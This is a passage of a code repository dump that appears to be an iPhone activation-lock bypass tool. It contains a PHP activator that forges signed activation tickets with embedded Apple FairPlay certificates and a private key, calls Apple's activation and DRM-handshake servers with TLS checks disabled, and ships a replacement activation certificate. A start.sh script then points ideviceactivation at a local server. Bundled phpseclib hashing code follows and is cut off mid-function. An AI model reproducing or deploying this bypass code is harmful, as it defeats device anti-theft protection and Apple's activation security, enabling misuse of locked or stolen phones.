596 | $FP = 'MIIC1DCCAj2gAwIBAgIJAL3uSRCIXVKsMA0GCSqGSIb3DQEBBQUAMHsxCzAJBgNVBAYTAlVTMRMwEQYDVQQKDApBcHBsZSBJbmMuMSYwJAYDVQQLDB1BcHBsZSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEvMC0GA1UEAwwmQXBwbGUgRmFpclBsYXkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNM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QjEfehrI9zgWDGG1sgL5Ky+ERI8GA4nhX1PSZnIIozavcNgs/e66Mv+VNqW2TAYzN39zoHLFbr2g8hDtq6cxlPtdk2f8GHVdmnmbkyQvvY1XGefqFStxu9k0IkEirHDx22TZxeY8hLgBdQqorV2uT80CAHN7B1dSEK';
597 | $rsa = new Crypt_RSA();
598 | $rsa->loadKey($privatekey);
599 | $ActivationInfoXML = substr(chunk_split(base64_encode($activationinfo), 68, "\n\t"), 0, -2);
600 | $fairPlayCertChain = substr(chunk_split($FP, 68, "\n\t"), 0, -2);
601 | $FairPlaySignature = substr(chunk_split(base64_encode($rsa->sign($activationinfo)), 68, "\n\t"), 0, -2);
602 | $RKCertification = 'MIIC+gIBAjCCAvMEIP4C3sqQtP1S2hwBZzCoHcsoH2xNu5c+a4Q45oJ1MKF3BEEE49p6
603 | qBYsPi6d/EaTMJ9h8CQtrKGdYCTMu/aUR0LnaiUdo0JkEar8+XXJ4vhsNHCiMuyU+h8t
604 | QXjXE/njGvNLIgQQPuttwEZCap/KMxbpVPsr4gQQQROJYfLECM2dX0TdAYY9kQSCAmaQ
605 | 0aymKAinfqfVLFHQnfOyNJQDCIWOnu0HWATd4l5xMqSEeFLtJg1fzTxCLUN0pft8fJ0+
606 | VjGAhLrjZxjyn6eO5RftvRFXg/yFfl5f0k9N8so1Dnhb7xJ4D1oFZXM7cQNOnyfZ2xmn
607 | dI6GyZTr6Org9oxWhV5jNpNNaIGWT2BkgncL1Oby0XLCp7lBArJdyWIilA0XZpWOGV0B
608 | qES4mAuqzSRdm7okvKuNunuEuTYA9i4N3qO1DWmpwR7+0YDYJsJcEav517+y2kDqUlEI
609 | +UNKt3mMpaC3jrGQRZ8yuvk+TLDoGM5BRF098+C1LO/1gzZfPZHVWxEQlIga2q+H6QIC
610 | eOuX6xcwDvGGrgje2gA7WA/PAhQO8aaOozQLX4Wc7H6SaEbfwbikAUi76UBLnAwxkQRC
611 | C5w+dnt0cm9/Tiu73o7ERQBB0Dh5JsnKfmFXYWHgCLTF05g8YzsSw5OmVwBRISgUZxHF
612 | PTYVy6WpJHhfjxO9N9JLawns4I0B14SZQhAQZeNqA21kTXWEEeSqLEy235qTElG3wqgA
613 | Skm5N2d3ypUty5Eryqfb0tZJD6nJGivrWin+CNQc7hspRw47d+Q0rd3MEgMptfcdk7Um
614 | GwqeL0hivVLSa9x2KMBiwgXNzs2NsyzkTKM5YIOyoNhnShLygAgE2KZU+NauQ/QA4LP+
615 | 1RrJfkGcFuBbrVlw/3Jt5Wqang9Sg2dyqzu8QkkOfuQPElQlXcHDVlwyNgeWnySfTEtu
616 | 0grCs4IwHBg3bFOpwNqHZNz1HWkqEen1Z9IyeyRPIgQkpxVbkV+XsDKC+ozc4X/GHiOj
617 | 8A==
618 |
619 | RKSignature
620 |
621 | MEYCIQCXYwN2l9ICBMHzclN0wUaV9pueUOrR/79HHn516vSz2gIhAKJ0VP4GwcOsMvXS
622 | FL0dJj2mogjTyqOKmSmu2BOWSt+X
623 |
624 | serverKP
625 |
626 | '.$serverKP.'
627 |
628 | signActRequest
629 |
630 | eRqtvDpaCM0XNR19k8QFTQ==';
631 |
632 | $request_ticket='
633 |
634 |
635 |
636 | ActivationInfoComplete
637 |
638 | ActivationInfoXML
639 |
640 | '.$ActivationInfoXML.'
641 |
642 | FairPlayCertChain
643 |
644 | '.$fairPlayCertChain.'
645 |
646 | FairPlaySignature
647 |
648 | '.$FairPlaySignature.'
649 |
650 | RKCertification
651 |
652 | '.$RKCertification.'
653 |
654 |
655 |
656 | ';
657 | return($request_ticket);
658 | }
659 | function actAlbertTicket($activate) {
660 | $ch = curl_init();
661 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
662 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
663 | curl_setopt($ch, CURLOPT_HTTPHEADER, array("Accept: application/xml"));
664 | curl_setopt($ch, CURLOPT_URL, "https://albert.apple.com/deviceservices/deviceActivation");
665 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
666 | curl_setopt($ch, CURLOPT_POST, 1);
667 | curl_setopt($ch, CURLOPT_POSTFIELDS, array('activation-info'=>$activate));
668 | $albert = curl_exec($ch);
669 | curl_close ($ch);
670 | return($albert);
671 | }
672 |
673 | function getHandShake() {
674 | $json = json_encode($_POST, 1);
675 | if (empty($_POST['blobXML'])) {
676 | echo "Please re-connect device to USB and retry.";
677 | exit();
678 | }
679 | $out = $_POST['blobXML'];
680 |
681 | $ch = curl_init();
682 | curl_setopt($ch, CURLOPT_HTTPHEADER, array("Accept: application/xml"));
683 | curl_setopt($ch, CURLOPT_URL, "https://albert.apple.com/deviceservices/drmHandshake");
684 | curl_setopt($ch, CURLOPT_POST, 1);
685 | curl_setopt($ch, CURLOPT_POSTFIELDS, $out);
686 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
687 | $result = curl_exec($ch);
688 | curl_close ($ch);
689 |
690 | $file = './var/www/requests/'.$_POST['SN'].'-drmHSK.txt';
691 | file_put_contents($file, "Device Request: ".$json."\r\nAlbert Respond: ".$result."\r\n");
692 |
693 | echo $result;
694 |
695 | if (empty($out)) {
696 | echo "Please re-connect device to USB and retry.";
697 | file_put_contents('tmp.txt', "Success:\n$json");
698 | } else {
699 | $data = json_encode($_POST, true);
700 | file_put_contents('tmp.txt', "Success:\n$out". $data);
701 | }
702 |
703 | }
704 |
705 | function get_client_ip() {
706 | if (isset($_SERVER['HTTP_CLIENT_IP'])) $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
707 | elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
708 | elseif (isset($_SERVER['HTTP_X_FORWARDED'])) $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
709 | elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
710 | elseif (isset($_SERVER['HTTP_FORWARDED'])) $ipaddress = $_SERVER['HTTP_FORWARDED'];
711 | elseif (isset($_SERVER['REMOTE_ADDR'])) $ipaddress = $_SERVER['REMOTE_ADDR'];
712 | else $ipaddress = 'UNKNOWN';
713 | return $ipaddress;
714 | }
715 |
716 | function boundary() {
717 | if (! isset($_SERVER['CONTENT_TYPE'])) return null;
718 | preg_match('/boundary=(.*)$/', $_SERVER['CONTENT_TYPE'], $matches);
719 | if (empty($matches) || ! isset($matches[1])) return null;
720 | return $matches[1];
721 | }
722 |
723 | function ActivationRequestInfoXML($xml, $full=0) { $i=0;
724 | $xml = simplexml_load_string($xml);
725 | $keys = json_decode(json_encode($xml->dict->key),1);
726 | if(empty($keys)) { $keys = json_decode(json_encode($xml->key),1); $data = json_decode(json_encode($xml->data),1); }
727 | else { $data = json_decode(json_encode($xml->dict->data),1); }
728 | if ($full) $narr[] = array_combine($keys , $data);
729 | foreach ($keys as $keyident => $keystore) { $keydata[$keystore] = $data[$keyident]; }
730 | $ActivationRequestInfoXML = base64_decode($keydata['ActivationInfoXML']);
731 | $DeviceCertRequest = json_decode(json_encode(simplexml_load_string($ActivationRequestInfoXML)->dict->data),1);
732 | $innXML = array("\t","\t","","","integer");
733 | $outXML = array("\tfalse","\ttrue","","","string");
734 | $ActivationRequestInfo = str_replace($innXML, $outXML, $ActivationRequestInfoXML);
735 | $xml = simplexml_load_string($ActivationRequestInfo);
736 | $tmpkey = json_decode(json_encode($xml->dict->dict[$i]->key),1);
737 | $tmpstr = json_decode(json_encode($xml->dict->dict[$i]->string),1);
738 | $narr[] = array_combine($tmpkey , $tmpstr);
739 | while ( $tmpkey ) { $i++;
740 | if(empty($xml->dict->dict[$i]->key)) { break; }
741 | if(!$tmpkey = json_decode(json_encode($xml->dict->dict[$i]->key),1)) { break; }
742 | $tmpstr = json_decode(json_encode($xml->dict->dict[$i]->string),1);
743 | $narr[] = array_combine($tmpkey , $tmpstr);
744 | }
745 | $narr[] = array('DeviceCertRequest' => $DeviceCertRequest[0]);
746 | $result = call_user_func_array('array_merge', $narr);
747 | return $result;
748 | }
749 |
750 | if (!function_exists('getallheaders')) {
751 | function getallheaders() {
752 | $headers = [];
753 | foreach ($_SERVER as $name => $value) {
754 | if (substr($name, 0, 5) == 'HTTP_') {
755 | $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
756 | }
757 | }
758 | return $headers;
759 | }
760 | }
761 |
762 | function AccountTokenCertificateApple() {
763 | return base64_encode('-----BEGIN CERTIFICATE-----
764 | MIIDZzCCAk+gAwIBAgIBAjANBgkqhkiG9w0BAQUFADB5MQswCQYDVQQGEwJVUzET
765 | MBEGA1UEChMKQXBwbGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlv
766 | biBBdXRob3JpdHkxLTArBgNVBAMTJEFwcGxlIGlQaG9uZSBDZXJ0aWZpY2F0aW9u
767 | IEF1dGhvcml0eTAeFw0wNzA0MTYyMjU1MDJaFw0xNDA0MTYyMjU1MDJaMFsxCzAJ
768 | BgNVBAYTAlVTMRMwEQYDVQQKEwpBcHBsZSBJbmMuMRUwEwYDVQQLEwxBcHBsZSBp
769 | UGhvbmUxIDAeBgNVBAMTF0FwcGxlIGlQaG9uZSBBY3RpdmF0aW9uMIGfMA0GCSqG
770 | SIb3DQEBAQUAA4GNADCBiQKBgQDFAXzRImArmoiHfbS2oPcqAfbEv0d1jk7GbnX7
771 | +4YUlyIfprzBVdlmz2JHYv1+04IzJtL7cL97UI7fk0i0OMY0al8a+JPQa4Ug611T
772 | bqEt+njAmAkge3HXWDBdAXD9MhkC7T/9o77zOQ1oli4cUdzlnYWfzmW0PduOxuve
773 | AeYY4wIDAQABo4GbMIGYMA4GA1UdDwEB/wQEAwIHgDAMBgNVHRMBAf8EAjAAMB0G
774 | A1UdDgQWBBShoNL+t7Rz/psUaq/NPXNPH+/WlDAfBgNVHSMEGDAWgBTnNCouIt45
775 | YGu0lM53g2EvMaB8NTA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vd3d3LmFwcGxl
776 | LmNvbS9hcHBsZWNhL2lwaG9uZS5jcmwwDQYJKoZIhvcNAQEFBQADggEBAF9qmrUN
777 | dA+FROYGP7pWcYTAK+pLyOf9zOaE7aeVI885V8Y/BKHhlwAo+zEkiOU3FbEPCS9V
778 | tS18ZBcwD/+d5ZQTMFknhcUJwdPqqjnm9LqTfH/x4pw8ONHRDzxHdp96gOV3A4+8
779 | abkoASfcYqvIRypXnbur3bRRhTzAs4VILS6jTyFYymZeSewtBubmmigo1kCQiZGc
780 | 76c5feDAyHb2bzEqtvx3WprljtS46QT5CR6YelinZnio32jAzRYTxtS6r3JsvZDi
781 | J07+EHcmfGdpxwgO+7btW1pFar0ZjF9/jYKKnOYNyvCrwszhafbSYwzAG5EJoXFB
782 | 4d+piWHUDcPxtcc=
783 | -----END CERTIFICATE-----
784 | ');
785 | }
786 |
--------------------------------------------------------------------------------
/source/scripts/phpbypass/raptor/RaptorActivation.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN CERTIFICATE-----
2 | MIIDZzCCAk+gAwIBAgIBAjANBgkqhkiG9w0BAQUFADB5MQswCQYDVQQGEwJVUzET
3 | MBEGA1UECgwKQXBwbGUgSW5jLjEmMCQGA1UECwwdQXBwbGUgQ2VydGlmaWNhdGlv
4 | biBBdXRob3JpdHkxLTArBgNVBAMMJEFwcGxlIGlQaG9uZSBDZXJ0aWZpY2F0aW9u
5 | IEF1dGhvcml0eTAeFw0yMDAyMTcwNjUxNDJaFw0yNzAyMTYwNjUxNDJaMFsxCzAJ
6 | BgNVBAYTAlVTMRMwEQYDVQQKDApBcHBsZSBJbmMuMRUwEwYDVQQLDAxBcHBsZSBp
7 | UGhvbmUxIDAeBgNVBAMMF0FwcGxlIGlQaG9uZSBBY3RpdmF0aW9uMIGfMA0GCSqG
8 | SIb3DQEBAQUAA4GNADCBiQKBgQDGY0ZZUcRyJOiPv5e9Gv0FqYw0C7JsrHA31lUn
9 | Q8E75ZpJmaI/mNMxsVTFMaljESvUND0CLcd7oXUK7bTjLBZvPVQw1Ox/IhfbJr8i
10 | FVpHey+CKt0vlIlsCEgQC93S59uw2TSfaIgEoh+ujlqfEqpt5Gf9juHFeFvZhlRC
11 | QVV2swIDAQABo4GbMIGYMA4GA1UdDwEB/wQEAwIHgDAMBgNVHRMBAf8EAjAAMB0G
12 | A1UdDgQWBBTzUmyzK86VRqWv8B8t+q8WN7JMWDAfBgNVHSMEGDAWgBQbPaxJRBFM
13 | 9Fci7LMBYuuGdQHEwTA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vd3d3LmFwcGxl
14 | LmNvbS9hcHBsZWNhL2lwaG9uZS5jcmwwDQYJKoZIhvcNAQEFBQADggEBALeDhz1s
15 | Rg/fDwpt2JT5gWC5SMzUOPV5SAOlb84qS9RT61yPUXFI6VY7PaK+cm5lv9bt+TPN
16 | BrMMYgMi+RWHdh1UPS4xwGrMSk1c9M2ul/4REPEp9Jap//1y8xKE17QUzW0ER8K8
17 | C9ptUUY5L18l52OqAEc4j6vW8H7O3rriECrmBupXb/RzwUPPrJeAfiqRS/5zanvK
18 | LNp+a+6zQQeMSs32fD/lUlk0ho6McDtjSGCukK3DyA7WeWwBMFfl2T6FXmGqGCvX
19 | 4LfVXUTkMbxEReeoFjJeeItv6BjPuL2mktAnwMmSKDELEbFoo0xZsLX9tpBaKsBQ
20 | bT+eEHBwuLdeiWw=
21 | -----END CERTIFICATE-----
22 |
--------------------------------------------------------------------------------
/source/scripts/phpbypass/start.sh:
--------------------------------------------------------------------------------
1 |
2 |
3 | echo "CONNECT YOUR DEVICE TO YOUR PC"
4 | read -p "Press enter to continue"
5 | echo "starting php web server"
6 | # check for php
7 | if ! [ -x "$(command -v php)" ]; then
8 | echo 'Error: php is not installed.' >&2
9 | echo 'install php'
10 | sudo apt install php
11 | else
12 | echo "php is installed"
13 | fi
14 | screen -d -m php -S localhost:8000 -t ./source/scripts/phpbypass/
15 | sudo apt-get install screen usbmuxd libimobiledevice6 libimobiledevice-utils
16 | ideviceactivation activate -s http://localhost:8000/activator.php
17 |
--------------------------------------------------------------------------------
/source/scripts/phpbypass/var/www/crypt/Hash.php:
--------------------------------------------------------------------------------
1 |
20 | * setKey('abcdefg');
26 | *
27 | * echo base64_encode($hash->hash('abcdefg'));
28 | * ?>
29 | *
30 | *
31 | * LICENSE: Permission is hereby granted, free of charge, to any person obtaining a copy
32 | * of this software and associated documentation files (the "Software"), to deal
33 | * in the Software without restriction, including without limitation the rights
34 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
35 | * copies of the Software, and to permit persons to whom the Software is
36 | * furnished to do so, subject to the following conditions:
37 | *
38 | * The above copyright notice and this permission notice shall be included in
39 | * all copies or substantial portions of the Software.
40 | *
41 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
42 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
43 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
44 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
45 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
46 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
47 | * THE SOFTWARE.
48 | *
49 | * @category Crypt
50 | * @package Crypt_Hash
51 | * @author Jim Wigginton
52 | * @copyright 2007 Jim Wigginton
53 | * @license http://www.opensource.org/licenses/mit-license.html MIT License
54 | * @link http://phpseclib.sourceforge.net
55 | */
56 |
57 | /**#@+
58 | * @access private
59 | * @see Crypt_Hash::Crypt_Hash()
60 | */
61 | /**
62 | * Toggles the internal implementation
63 | */
64 | define('CRYPT_HASH_MODE_INTERNAL', 1);
65 | /**
66 | * Toggles the mhash() implementation, which has been deprecated on PHP 5.3.0+.
67 | */
68 | define('CRYPT_HASH_MODE_MHASH', 2);
69 | /**
70 | * Toggles the hash() implementation, which works on PHP 5.1.2+.
71 | */
72 | define('CRYPT_HASH_MODE_HASH', 3);
73 | /**#@-*/
74 |
75 | /**
76 | * Pure-PHP implementations of keyed-hash message authentication codes (HMACs) and various cryptographic hashing functions.
77 | *
78 | * @package Crypt_Hash
79 | * @author Jim Wigginton
80 | * @access public
81 | */
82 | class Crypt_Hash
83 | {
84 | /**
85 | * Hash Parameter
86 | *
87 | * @see Crypt_Hash::setHash()
88 | * @var Integer
89 | * @access private
90 | */
91 | var $hashParam;
92 |
93 | /**
94 | * Byte-length of compression blocks / key (Internal HMAC)
95 | *
96 | * @see Crypt_Hash::setAlgorithm()
97 | * @var Integer
98 | * @access private
99 | */
100 | var $b;
101 |
102 | /**
103 | * Byte-length of hash output (Internal HMAC)
104 | *
105 | * @see Crypt_Hash::setHash()
106 | * @var Integer
107 | * @access private
108 | */
109 | var $l = false;
110 |
111 | /**
112 | * Hash Algorithm
113 | *
114 | * @see Crypt_Hash::setHash()
115 | * @var String
116 | * @access private
117 | */
118 | var $hash;
119 |
120 | /**
121 | * Key
122 | *
123 | * @see Crypt_Hash::setKey()
124 | * @var String
125 | * @access private
126 | */
127 | var $key = false;
128 |
129 | /**
130 | * Outer XOR (Internal HMAC)
131 | *
132 | * @see Crypt_Hash::setKey()
133 | * @var String
134 | * @access private
135 | */
136 | var $opad;
137 |
138 | /**
139 | * Inner XOR (Internal HMAC)
140 | *
141 | * @see Crypt_Hash::setKey()
142 | * @var String
143 | * @access private
144 | */
145 | var $ipad;
146 |
147 | /**
148 | * Default Constructor.
149 | *
150 | * @param optional String $hash
151 | * @return Crypt_Hash
152 | * @access public
153 | */
154 | function Crypt_Hash($hash = 'sha1')
155 | {
156 | if ( !defined('CRYPT_HASH_MODE') ) {
157 | switch (true) {
158 | case extension_loaded('hash'):
159 | define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_HASH);
160 | break;
161 | case extension_loaded('mhash'):
162 | define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_MHASH);
163 | break;
164 | default:
165 | define('CRYPT_HASH_MODE', CRYPT_HASH_MODE_INTERNAL);
166 | }
167 | }
168 |
169 | $this->setHash($hash);
170 | }
171 |
172 | /**
173 | * Sets the key for HMACs
174 | *
175 | * Keys can be of any length.
176 | *
177 | * @access public
178 | * @param optional String $key
179 | */
180 | function setKey($key = false)
181 | {
182 | $this->key = $key;
183 | }
184 |
185 | /**
186 | * Gets the hash function.
187 | *
188 | * As set by the constructor or by the setHash() method.
189 | *
190 | * @access public
191 | * @return String
192 | */
193 | function getHash()
194 | {
195 | return $this->hashParam;
196 | }
197 |
198 | /**
199 | * Sets the hash function.
200 | *
201 | * @access public
202 | * @param String $hash
203 | */
204 | function setHash($hash)
205 | {
206 | $this->hashParam = $hash = strtolower($hash);
207 | switch ($hash) {
208 | case 'md5-96':
209 | case 'sha1-96':
210 | case 'sha256-96':
211 | case 'sha512-96':
212 | $hash = substr($hash, 0, -3);
213 | $this->l = 12; // 96 / 8 = 12
214 | break;
215 | case 'md2':
216 | case 'md5':
217 | $this->l = 16;
218 | break;
219 | case 'sha1':
220 | $this->l = 20;
221 | break;
222 | case 'sha256':
223 | $this->l = 32;
224 | break;
225 | case 'sha384':
226 | $this->l = 48;
227 | break;
228 | case 'sha512':
229 | $this->l = 64;
230 | }
231 |
232 | switch ($hash) {
233 | case 'md2':
234 | $mode = CRYPT_HASH_MODE == CRYPT_HASH_MODE_HASH && in_array('md2', hash_algos()) ?
235 | CRYPT_HASH_MODE_HASH : CRYPT_HASH_MODE_INTERNAL;
236 | break;
237 | case 'sha384':
238 | case 'sha512':
239 | $mode = CRYPT_HASH_MODE == CRYPT_HASH_MODE_MHASH ? CRYPT_HASH_MODE_INTERNAL : CRYPT_HASH_MODE;
240 | break;
241 | default:
242 | $mode = CRYPT_HASH_MODE;
243 | }
244 |
245 | switch ( $mode ) {
246 | case CRYPT_HASH_MODE_MHASH:
247 | switch ($hash) {
248 | case 'md5':
249 | $this->hash = MHASH_MD5;
250 | break;
251 | case 'sha256':
252 | $this->hash = MHASH_SHA256;
253 | break;
254 | case 'sha1':
255 | default:
256 | $this->hash = MHASH_SHA1;
257 | }
258 | return;
259 | case CRYPT_HASH_MODE_HASH:
260 | switch ($hash) {
261 | case 'md5':
262 | $this->hash = 'md5';
263 | return;
264 | case 'md2':
265 | case 'sha256':
266 | case 'sha384':
267 | case 'sha512':
268 | $this->hash = $hash;
269 | return;
270 | case 'sha1':
271 | default:
272 | $this->hash = 'sha1';
273 | }
274 | return;
275 | }
276 |
277 | switch ($hash) {
278 | case 'md2':
279 | $this->b = 16;
280 | $this->hash = array($this, '_md2');
281 | break;
282 | case 'md5':
283 | $this->b = 64;
284 | $this->hash = array($this, '_md5');
285 | break;
286 | case 'sha256':
287 | $this->b = 64;
288 | $this->hash = array($this, '_sha256');
289 | break;
290 | case 'sha384':
291 | case 'sha512':
292 | $this->b = 128;
293 | $this->hash = array($this, '_sha512');
294 | break;
295 | case 'sha1':
296 | default:
297 | $this->b = 64;
298 | $this->hash = array($this, '_sha1');
299 | }
300 |
301 | $this->ipad = str_repeat(chr(0x36), $this->b);
302 | $this->opad = str_repeat(chr(0x5C), $this->b);
303 | }
304 |
305 | /**
306 | * Compute the HMAC.
307 | *
308 | * @access public
309 | * @param String $text
310 | * @return String
311 | */
312 | function hash($text)
313 | {
314 | $mode = is_array($this->hash) ? CRYPT_HASH_MODE_INTERNAL : CRYPT_HASH_MODE;
315 |
316 | if (!empty($this->key) || is_string($this->key)) {
317 | switch ( $mode ) {
318 | case CRYPT_HASH_MODE_MHASH:
319 | $output = mhash($this->hash, $text, $this->key);
320 | break;
321 | case CRYPT_HASH_MODE_HASH:
322 | $output = hash_hmac($this->hash, $text, $this->key, true);
323 | break;
324 | case CRYPT_HASH_MODE_INTERNAL:
325 | /* "Applications that use keys longer than B bytes will first hash the key using H and then use the
326 | resultant L byte string as the actual key to HMAC."
327 |
328 | -- http://tools.ietf.org/html/rfc2104#section-2 */
329 | $key = strlen($this->key) > $this->b ? call_user_func($this->hash, $this->key) : $this->key;
330 |
331 | $key = str_pad($key, $this->b, chr(0)); // step 1
332 | $temp = $this->ipad ^ $key; // step 2
333 | $temp .= $text; // step 3
334 | $temp = call_user_func($this->hash, $temp); // step 4
335 | $output = $this->opad ^ $key; // step 5
336 | $output.= $temp; // step 6
337 | $output = call_user_func($this->hash, $output); // step 7
338 | }
339 | } else {
340 | switch ( $mode ) {
341 | case CRYPT_HASH_MODE_MHASH:
342 | $output = mhash($this->hash, $text);
343 | break;
344 | case CRYPT_HASH_MODE_HASH:
345 | $output = hash($this->hash, $text, true);
346 | break;
347 | case CRYPT_HASH_MODE_INTERNAL:
348 | $output = call_user_func($this->hash, $text);
349 | }
350 | }
351 |
352 | return substr($output, 0, $this->l);
353 | }
354 |
355 | /**
356 | * Returns the hash length (in bytes)
357 | *
358 | * @access public
359 | * @return Integer
360 | */
361 | function getLength()
362 | {
363 | return $this->l;
364 | }
365 |
366 | /**
367 | * Wrapper for MD5
368 | *
369 | * @access private
370 | * @param String $m
371 | */
372 | function _md5($m)
373 | {
374 | return pack('H*', md5($m));
375 | }
376 |
377 | /**
378 | * Wrapper for SHA1
379 | *
380 | * @access private
381 | * @param String $m
382 | */
383 | function _sha1($m)
384 | {
385 | return pack('H*', sha1($m));
386 | }
387 |
388 | /**
389 | * Pure-PHP implementation of MD2
390 | *
391 | * See {@link http://tools.ietf.org/html/rfc1319 RFC1319}.
392 | *
393 | * @access private
394 | * @param String $m
395 | */
396 | function _md2($m)
397 | {
398 | static $s = array(
399 | 41, 46, 67, 201, 162, 216, 124, 1, 61, 54, 84, 161, 236, 240, 6,
400 | 19, 98, 167, 5, 243, 192, 199, 115, 140, 152, 147, 43, 217, 188,
401 | 76, 130, 202, 30, 155, 87, 60, 253, 212, 224, 22, 103, 66, 111, 24,
402 | 138, 23, 229, 18, 190, 78, 196, 214, 218, 158, 222, 73, 160, 251,
403 | 245, 142, 187, 47, 238, 122, 169, 104, 121, 145, 21, 178, 7, 63,
404 | 148, 194, 16, 137, 11, 34, 95, 33, 128, 127, 93, 154, 90, 144, 50,
405 | 39, 53, 62, 204, 231, 191, 247, 151, 3, 255, 25, 48, 179, 72, 165,
406 | 181, 209, 215, 94, 146, 42, 172, 86, 170, 198, 79, 184, 56, 210,
407 | 150, 164, 125, 182, 118, 252, 107, 226, 156, 116, 4, 241, 69, 157,
408 | 112, 89, 100, 113, 135, 32, 134, 91, 207, 101, 230, 45, 168, 2, 27,
409 | 96, 37, 173, 174, 176, 185, 246, 28, 70, 97, 105, 52, 64, 126, 15,
410 | 85, 71, 163, 35, 221, 81, 175, 58, 195, 92, 249, 206, 186, 197,
411 | 234, 38, 44, 83, 13, 110, 133, 40, 132, 9, 211, 223, 205, 244, 65,
412 | 129, 77, 82, 106, 220, 55, 200, 108, 193, 171, 250, 36, 225, 123,
413 | 8, 12, 189, 177, 74, 120, 136, 149, 139, 227, 99, 232, 109, 233,
414 | 203, 213, 254, 59, 0, 29, 57, 242, 239, 183, 14, 102, 88, 208, 228,
415 | 166, 119, 114, 248, 235, 117, 75, 10, 49, 68, 80, 180, 143, 237,
416 | 31, 26, 219, 153, 141, 51, 159, 17, 131, 20
417 | );
418 |
419 | // Step 1. Append Padding Bytes
420 | $pad = 16 - (strlen($m) & 0xF);
421 | $m.= str_repeat(chr($pad), $pad);
422 |
423 | $length = strlen($m);
424 |
425 | // Step 2. Append Checksum
426 | $c = str_repeat(chr(0), 16);
427 | $l = chr(0);
428 | for ($i = 0; $i < $length; $i+= 16) {
429 | for ($j = 0; $j < 16; $j++) {
430 | // RFC1319 incorrectly states that C[j] should be set to S[c xor L]
431 | //$c[$j] = chr($s[ord($m[$i + $j] ^ $l)]);
432 | // per , however, C[j] should be set to S[c xor L] xor C[j]
433 | $c[$j] = chr($s[ord($m[$i + $j] ^ $l)] ^ ord($c[$j]));
434 | $l = $c[$j];
435 | }
436 | }
437 | $m.= $c;
438 |
439 | $length+= 16;
440 |
441 | // Step 3. Initialize MD Buffer
442 | $x = str_repeat(chr(0), 48);
443 |
444 | // Step 4. Process Message in 16-Byte Blocks
445 | for ($i = 0; $i < $length; $i+= 16) {
446 | for ($j = 0; $j < 16; $j++) {
447 | $x[$j + 16] = $m[$i + $j];
448 | $x[$j + 32] = $x[$j + 16] ^ $x[$j];
449 | }
450 | $t = chr(0);
451 | for ($j = 0; $j < 18; $j++) {
452 | for ($k = 0; $k < 48; $k++) {
453 | $x[$k] = $t = $x[$k] ^ chr($s[ord($t)]);
454 | //$t = $x[$k] = $x[$k] ^ chr($s[ord($t)]);
455 | }
456 | $t = chr(ord($t) + $j);
457 | }
458 | }
459 |
460 | // Step 5. Output
461 | return substr($x, 0, 16);
462 | }
463 |
464 | /**
465 | * Pure-PHP implementation of SHA256
466 | *
467 | * See {@link http://en.wikipedia.org/wiki/SHA_hash_functions#SHA-256_.28a_SHA-2_variant.29_pseudocode SHA-256 (a SHA-2 variant) pseudocode - Wikipedia}.
468 | *
469 | * @access private
470 | * @param String $m
471 | */
472 | function _sha256($m)
473 | {
474 | if (extension_loaded('suhosin')) {
475 | return pack('H*', sha256($m));
476 | }
477 |
478 | // Initialize variables
479 | $hash = array(
480 | 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19
481 | );
482 | // Initialize table of round constants
483 | // (first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311)
484 | static $k = array(
485 | 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
486 | 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
487 | 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
488 | 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
489 | 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
490 | 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
491 | 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
492 | 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
493 | );
494 |
495 | // Pre-processing
496 | $length = strlen($m);
497 | // to round to nearest 56 mod 64, we'll add 64 - (length + (64 - 56)) % 64
